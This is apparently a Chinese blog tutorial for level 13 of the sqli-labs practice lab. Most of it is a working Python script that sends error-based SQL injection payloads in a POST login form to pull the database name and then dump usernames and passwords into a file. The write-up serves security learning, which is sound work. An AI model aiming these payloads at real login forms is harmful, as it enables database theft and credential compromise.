sqli-labs靶场自动化利用工具——第13关

文章目录

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第13关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

第13关使用的单引号括号注入。

请求方式是POST请求。

这个脚本唯一的缺陷就是出在后面的find_dbdata函数上面,该处使用不同的正则表达式就会筛选出不同的结果,最终的结果没能拿到我本地部署的sqli-labs靶场的全部数据库名和密码。类似admin1这种用户名和密码筛选出来就可以拿到全部的数据,这个算是这个小脚本的缺陷。有兴趣的小伙伴可以进一步研究。

技术细节

python 复制代码
import requests
import re
import os
print("当前工作目录:", os.getcwd())

# 全局变量
url = 'http://sql:8081/Less-13/'


def find_dblength():
    headers = {
        'Host': 'sql:8081',
        'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
                  'image/svg+xml,*/*;q=0.8',
        'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
        'Accept-Encoding': 'gzip, deflate',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Content-Length': '270',  # 根据data参数的长度进行修改
        'Origin': 'http://sql:8081',
        'Connection': 'close',
        'Referer': 'http://sql:8081/Less-13/',
        'Upgrade-Insecure-Requests': '1',
        'Priority': 'u=0, i'
    }
    data = {
        'uname': "username') union select 1,2 from (select count(*),concat((select concat(database()) limit 0,1),"
                 "floor(rand(0)*2)) "
                 "as x from information_schema.tables group by x) as alias-- -",
        'passwd': "') or 1=1-- -"
    }
    response = requests.post(url, headers=headers, data=data, verify=False)
    html_content = response.text
    match = re.search(r"Duplicate entry '([a-zA-Z]+)\d*' for key", html_content)
    if match:
        result = match.group(1)
        result_length = len(result)
        print(f"Result: {result}, Length: {result_length}")
        return result, result_length
    else:
        print("No match found.")
        return None, 0


def find_dbdata(result_length):
    file_path = os.path.join(os.getcwd(), 'result.txt')
    for i in range(result_length):
        headers = {
            'Host': 'sql:8081',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,'
                      'image/svg+xml,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Content-Length': '325',  # 根据data参数的长度进行修改
            'Origin': 'http://sql:8081',
            'Connection': 'close',
            'Referer': 'http://sql:8081/Less-13/',
            'Upgrade-Insecure-Requests': '1',
            'Priority': 'u=0, i'
        }
        data = {
            'uname': f"username') union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,"
                     f"0x3a, 0x3a) from security.users limit {i},1),floor(rand(0)*2)) as x from information_schema.tables "
                     "group by x) as alias-- -",
            'passwd': "') or 1=1-- -"
        }
        response = requests.post(url, headers=headers, data=data, verify=False)
        html_content = response.text
        match = re.search(r"'(.+?)::(.+?)::(\d+)'", html_content)
        if match:
            with open(file_path, "a") as file:
                file.write(f"{match.group(1)}, {match.group(2)}\n")
        else:
            print(f"No match found for entry {i}.")


result, result_length = find_dblength()
if result_length > 0:
    find_dbdata(result_length)

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。

相关推荐
databook13 小时前
Manim实现闪光轨迹特效
后端·python·动效
Juchecar14 小时前
解惑:NumPy 中 ndarray.ndim 到底是什么?
python
用户83562907805115 小时前
Python 删除 Excel 工作表中的空白行列
后端·python
Json_15 小时前
使用python-fastApi框架开发一个学校宿舍管理系统-前后端分离项目
后端·python·fastapi
数据智能老司机21 小时前
精通 Python 设计模式——分布式系统模式
python·设计模式·架构
数据智能老司机1 天前
精通 Python 设计模式——并发与异步模式
python·设计模式·编程语言
数据智能老司机1 天前
精通 Python 设计模式——测试模式
python·设计模式·架构
数据智能老司机1 天前
精通 Python 设计模式——性能模式
python·设计模式·架构
c8i1 天前
drf初步梳理
python·django
每日AI新事件1 天前
python的异步函数
python